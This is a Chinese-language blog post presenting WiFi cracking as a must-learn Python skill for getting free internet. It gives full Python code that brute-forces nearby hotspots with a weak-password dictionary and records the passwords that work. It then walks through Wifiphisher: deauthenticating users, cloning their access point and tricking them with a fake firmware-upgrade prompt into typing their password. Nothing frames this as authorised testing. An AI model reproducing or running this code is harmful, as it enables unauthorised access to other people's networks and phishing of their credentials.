WIFI破解,Python程式員必學技能。WIFI已經完全普及,現在Python程式員沒網,走到哪裡都不怕!教你們一招,如何在圖片中提取Python腳本代碼。圖片發送至手機QQ長按後點識別圖片中漢字,如果你還不知曉,趕緊去試一試,能給我們減少很大的工作量。 想要WIFI破解,python+字典,這是 ...
WIFI破解,Python程式員必學技能。WIFI已經完全普及,現在Python程式員沒網,走到哪裡都不怕!教你們一招,如何在圖片中提取Python腳本代碼。圖片發送至手機QQ長按後點識別圖片中漢字,如果你還不知曉,趕緊去試一試,能給我們減少很大的工作量。
想要WIFI破解,python+字典,這是是少不了的。熱點加弱口令也是核心。字典自己加精,你的字典有強大,你能破解的WIFI就越多。後面就不再提了。提供兩種方法,一般人學到一種即可。
方法一
環境準備
-
python2.7
-
pywifi模塊
-
字典
-
清除系統中的任何wifi連接記錄
導入模塊
這裡用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b'OK':判斷需要修改,不然會有很多的提示信息。
from pywifi import *import timeimport sys
字典準備
隨機搞的wifi弱口令TOP10
123456781234567898888888812345678900000000087654321666688881122334414725836911111111
配置掃描器
推薦掃描時常可以設置在15-20秒之間 測試時常則可以自定義,考慮到認證速度於距離的關係,我一般設置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪裡。
def main(): #掃描時常 scantimes = 3 #單個密碼測試延遲 testtimes = 15 output = sys.stdout #結果文件保存路徑 files = "TestRes.txt" #字典列表 keys = open(sys.argv[1],"r").readlines() print "|KEYS %s"%(len(keys)) #實例化一個pywifi對象 wifi = PyWiFi() #選擇定一個網卡並賦值於iface iface = wifi.interfaces()[0] #通過iface進行一個時常為scantimes的掃描並獲取附近的熱點基礎配置 scanres = scans(iface,scantimes) #統計附近被髮現的熱點數量 nums = len(scanres) print "|SCAN GET %s"%(nums) print "%s%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70) #將每一個熱點信息逐一進行測試 for i,x in enumerate(scanres): #測試完畢後,成功的結果講存儲到files中 res = test(nums-i,iface,x,keys,output,testtimes) if res: open(files,"a").write(res)
掃描周圍熱點
def scans(face,timeout): #開始掃描 face.scan() time.sleep(timeout) #在若幹秒後獲取掃描結果 return face.scan_results()
熱點測試
這裡後續推薦將掃描過程數據入庫,防止重覆掃描,且更加直觀。
def test(i,face,x,key,stu,ts): #顯示對應網路名稱,考慮到部分中文名嘖顯示bssid showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid #迭代字典併進行爆破 for n,k in enumerate(key): x.key = k.strip() #移除所有熱點配置 face.remove_all_network_profiles() #講封裝好的目標嘗試連接 face.connect(face.add_network_profile(x)) #初始化狀態碼,考慮到用0會發生些邏輯錯誤 code = 10 t1 = time.time() #迴圈刷新狀態,如果置為0則密碼錯誤,如超時則進行下一個 while code!=0 : time.sleep(0.1) code = face.status() now = time.time()-t1 if now>ts: break stu.write("%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("",""))) stu.flush() if code == 4: face.disconnect() return "%-*s| %s | %*s |%*s"%(20,x.ssid,x.bssid,3,x.signal,15,k) return False
案例
這裡顯示本次測試使用了11個弱口令,並掃描到了20個熱點,然後開始坑爹的跑起來了
-
WIFIID 熱點的id號 每跑一個會減1
-
SSID OR BSSID 熱點的ssid名或mac地址
-
N 對熱點的連接狀態,這個在
-
time 當前所花去的時間
-
signal 熱點的信號強度,若小越好
-
KEYNUM 測試密碼的id 每跑一個會減1
-
KEY 當前測試的密碼
方法二
目前常見的Wi-Fi加密方式有WEP、WPA2和WPS(鏈接為各自的破解方式),不過有網友反映以往破解WPA2的方法耗時太長,而且不適用於所有WPS啟動的接入點。而今天介紹的這種方法則更加省時省力。
主要原理
-
創建一個偽AP來“狸貓換太子”,然後撤銷用戶AP的授權,
-
通知用戶需要進行“固件升級”,需要重新驗證密碼。你的假AP由於具有相同的SSID,用戶便會“交代”密碼。
-
這樣你就能得到用戶的密碼,並且讓用戶採用你的偽AP做為自己的接入點。而對方一無所知。
之前也有類似的腳本,例如Airsnarf;不過我們這次採用的是Wifiphisher,這個優化過的自動化腳本比起前者更加方便。
要完成上述“大業”,你需要Kali Linux和兩個無線適配器,其中一個必須能支持數據包註入。
第一步:下載Wifiphisher
如圖所示,這是已經解開了的Wifiphisher源代碼。
當然,如果你懶,也可以複製GitHub上的代碼,不用謝~
第二步:導航到該目錄
接下來,導航到Wifiphisher創建時被解壓的目錄。就圖示而言,為/wifiphisherWi-Fi1.1。
當你看到目錄內容時,你會看到wifiphisher.py的腳本。
第三步:運行腳本
可以鍵入下麵的腳本實現。
kali > python wifiphisher.py
註意這裡有一個問題:
如果是第一次運行腳本的話,它可能會出現提示安裝hostpad的信息,鍵入Y繼續安裝即可。
完成的時候,再次運行Wifiphisher腳本。
這次將運行8080和43埠的Web伺服器,然後開始搜索附近的Wi-Fi網路。
等待搜索完成,我們會發現一系列Wi-Fi網路名。最下方的wonderhowto就是我們的目標。
第四步:獲取密碼
按下Ctrl + C,鍵入想要複製的AP數,在這裡我們選擇12。
敲下回車,Wifiphisher會顯示如下結果,顯示了正在使用的界面,還有正被攻擊及複製的AP所在的SSID。
目標用戶已經取消驗證他們的AP,隨後會出現一個固件升級的信息,請求他們重新驗證。一旦重新驗證,他們接入的就是偽接入點了。
當用戶輸入密碼,它會通過Wifiphisher的開放終端傳輸給你,隨後他們依然像平時一樣上網,風平浪靜,然而他們並不知道我們已經獲得了密碼。
歡迎關註我的博客或者公眾號:https://home.cnblogs.com/u/Python1234/ Python學習交流
歡迎加入我的千人交流學習答疑群:125240963